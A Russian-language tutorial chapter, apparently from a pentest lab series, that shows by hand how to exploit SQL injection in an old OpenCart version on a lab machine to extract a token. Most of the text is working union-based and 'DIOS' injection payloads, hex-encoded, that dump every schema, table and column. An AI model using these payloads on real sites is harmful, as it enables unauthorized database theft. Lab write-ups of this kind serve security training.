Глава 7
Предыдущая главаСледующая глава
Оглавление
Приведствую Вас колеги) Продолжим пожалуй с вами путешествие по на нашей лаборатории в роли пентестера и возьмем пожалуй очередной токен на dev store(172.16.0.5)) В этой статье в отличии от прошлой ,
где я советовал не замарачиваться и пойти более легким путем, я бы наоборот хотел показать олдскульную технику експлуатации SQL injection. Так как токен берется с помощью утилиты sqlmap очень быстро, и этот пост можно было закончить одним скрином и одной командой для скульмапа,я продемонстрирую работу руками и технику SQLi DIOS,которую я когда то одолжил у одной пакистанской хактим в одном закрытом форуме)
Немного отходя от темы хочу сказать что я был первый человек который принес эту технику эксплуатаци для русского брата,в конце статьи я выложу ссылки на свои статьи на других ресурсах и на один из первоисточников информации.
И так почему я сказал что на dev store мы токен заберем от store - это потому что на store стоит новая версия CMS OpenCart и она не уязвимая к sql injection что нельзя сказать про версию OpenCart которая находится на машине 172.16.0.5
Ну что ж... Как обычно сперва пробросим порт как мы уже умеем благодаря прошлым статьям
Внесем изменение в файл /etc/hosts
Жмакним по какому то продукту:
По старой доброй привычки тыкнем кавычку в передаваемый GET запросом параметр product_id=50'
Видим старый знакомый код ошибки синтаксиса MySQL ))) (PS: Одна из моих самых любимых ошибок )
Давайте сразу же найдем к-тво столбцов в запросе:
Определяем что столбцов у нас 3
Теперь самое интересное:
Давайте попытаться сделать вывод в иньекции:
union select 111,222,333 -- -
Увы диманика контента пока осталась не заметна
давайте попробуем добавить какое то слово что бы можно было искать в контенте легко по нему:
product_id=50 union select codeby111,codeby222,codeby333 -- -
Хм...Видим ошибку.. Ну впринципе логично же , что таких столбцов нету,а для того что на вывод мы получали плейн текст то можем использовать хекс кодировку:
product_id=50 union select 0x636f64656279313131,0x636f64656279323232,0x636f64656279333333 -- -
Поищем в исходном коде по слову codeby , и видем что у нас уязвим 3-й столбец:
Но есть маленькая проблемка, наш вывод не виден на главной странице. Это потому что он находится между тегами <div><ul><li><a href>, а посему здесь логика проста - нужно просто закрыть эти теги перед нашим выводом,выглядит это примерно так :
product_id=50 union select null,null,concat(
</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker) -- -
Ну мы конежно помним что в таком виде сервер запрос не приймет - его нужно перевести в хекс кодировку:
product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572) -- -
Видим что появился вывод на странице) Для удобства обрежем лишний html код коментарием в конце запроса (<!--)
product_id=50 union select null,null,concat(
</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker,<!--) -- -
Только опять же таки все в хекс кодировке должно быть:
Теперь я покажу вам пример DIOS (Dump In One Shot) - все даные за один запрос:
Я увы не буду обьяснять суть техники в этой статьи,кому будет интересно как она работает - я оставлю в конце статьи ссылки на свои статьи на других ресурсах где описанно как это работает.
И так запрос следующего вида вернет нам все таблицы и столбцы в базе:
concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where@:=concat_ws(0x20,@,0x3c6c693e,table_name,column_name)),@)
Просто вставим этот кусочек в наш запрос:
product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where@:=concat_ws(0x20,@,0x3c6c693e,table_name,column_name)),@)
,0x3c212d2d) -- -
Как видим нам вывелись полностью все таблицы и даже из Information_schema.tables,
по этому я немного изменил запрос что бы выдодились только таблицы и столбцы из нашей действующей базы данных, имя базы данных будет красным цветом,имя таблицы зеленым,а имя столбца будет синим цветом:
Добавим этот кусочек запроса вместо предвидущего:
concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)
product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)
,0x3c212d2d) -- -
Листаем вниз,или пользуемся поиском по слову "token" и находим там таблицу token и столбец token:
Ну дальше просто достаем токен запросом:
product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,0x3c62723e,token
,0x3c212d2d) from token -- -
Моя статья про SQLi DIOS на
Ссылка скрыта от гостей
на
Ссылка скрыта от гостей
Статья арабского хакера
Ссылка скрыта от гостей
Помни!) Если понравилась статья - жмакни лайк )
Вот видосик к статье:
Предыдущая глава
Следующая глава
Оглавление